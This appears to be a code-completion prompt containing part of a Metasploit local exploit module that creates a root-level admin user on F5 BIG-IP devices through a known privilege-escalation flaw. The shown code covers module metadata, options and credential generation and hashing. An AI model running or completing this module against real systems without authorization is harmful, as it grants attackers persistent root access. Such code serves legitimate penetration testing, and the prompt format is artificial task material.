You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: f5_create_user.rb
    path of file: ./repos/metasploit-framework/modules/exploits/linux/local
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'unix_crypt'

class MetasploitModule < Msf::Exploit::Local
  include Msf::Post::Linux::F5Mcp
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'F5 Big-IP Create Admin User',
        'Description' => %q{
          This creates a local user with a username/password and root-level
          privileges. Note that a root-level account is not required to do this,
          which makes it a privilege escalation issue.

          Note that this is pretty noisy, since it creates a user account and
          creates log files and such. Additionally, most (if not all)
          vulne
    
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'F5 Big-IP Create Admin User',
        'Description' => %q{
          This creates a local user with a username/password and root-level
          privileges. Note that a root-level account is not required to do this,
          which makes it a privilege escalation issue.

          Note that this is pretty noisy, since it creates a user account and
          creates log files and such. Additionally, most (if not all)
          vulnerabilities in F5 grant root access anyways.

          Adapted from https://github.com/rbowes-r7/refreshing-mcp-tool/blob/main/mcp-privesc.rb
        },
        'License' => MSF_LICENSE,
        'Author' => ['Ron Bowes'],
        'Platform' => [ 'unix', 'linux', 'python' ],
        'SessionTypes' => ['shell', 'meterpreter'],
        'References' => [
          ['URL', 'https://github.com/rbowes-r7/refreshing-mcp-tool'], # Original PoC
          ['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
          ['URL', 'https://support.f5.com/csp/article/K97843387'],
        ],
        'Privileged' => true,
        'DisclosureDate' => '2022-11-16',
        'Arch' => [ ARCH_CMD, ARCH_PYTHON ],
        'Type' => :unix_cmd,
        'Targets' => [[ 'Auto', {} ]],
        'Notes' => {
          'Stability' => [],
          'Reliability' => [],
          'SideEffects' => []
        }
      )
    )

    register_options([
      OptString.new('USERNAME', [true, 'Username to create (default: random)', Rex::Text.rand_text_alphanumeric(8)]),
      OptString.new('PASSWORD', [true, 'Password for the new user (default: random)', Rex::Text.rand_text_alphanumeric(12)]),

      OptBool.new('CREATE_SESSION', [true, 'If set, use the new account to create a root session', true]),
    ])
  end

  def exploit
    # Get or generate the username/password
    fail_with(Failure::BadConfig, 'USERNAME cannot be empty') if datastore['USERNAME'].empty?
    username = datastore['USERNAME']

    if datastore['CREATE_SESSION']
      password = Rex::Text.rand_text_alphanumeric(12)
      new_password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)

      print_status("Will attempt to create user #{username} / #{password}, then change password to #{new_password} when creating a session")
    else
      password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12)

      print_status("Will attempt to create user #{username} / #{password}")
    end

    # If the password is already hashed, leave it as-is
    vprint_status('Hashing the password with SHA512')
    hashed_password = UnixCrypt::SHA512.build(password)

    if !hashed_password || hashed_password.empty?
      fail_with(Failure::BadConfig, 'Failed to hash the password with String.crypt')
    end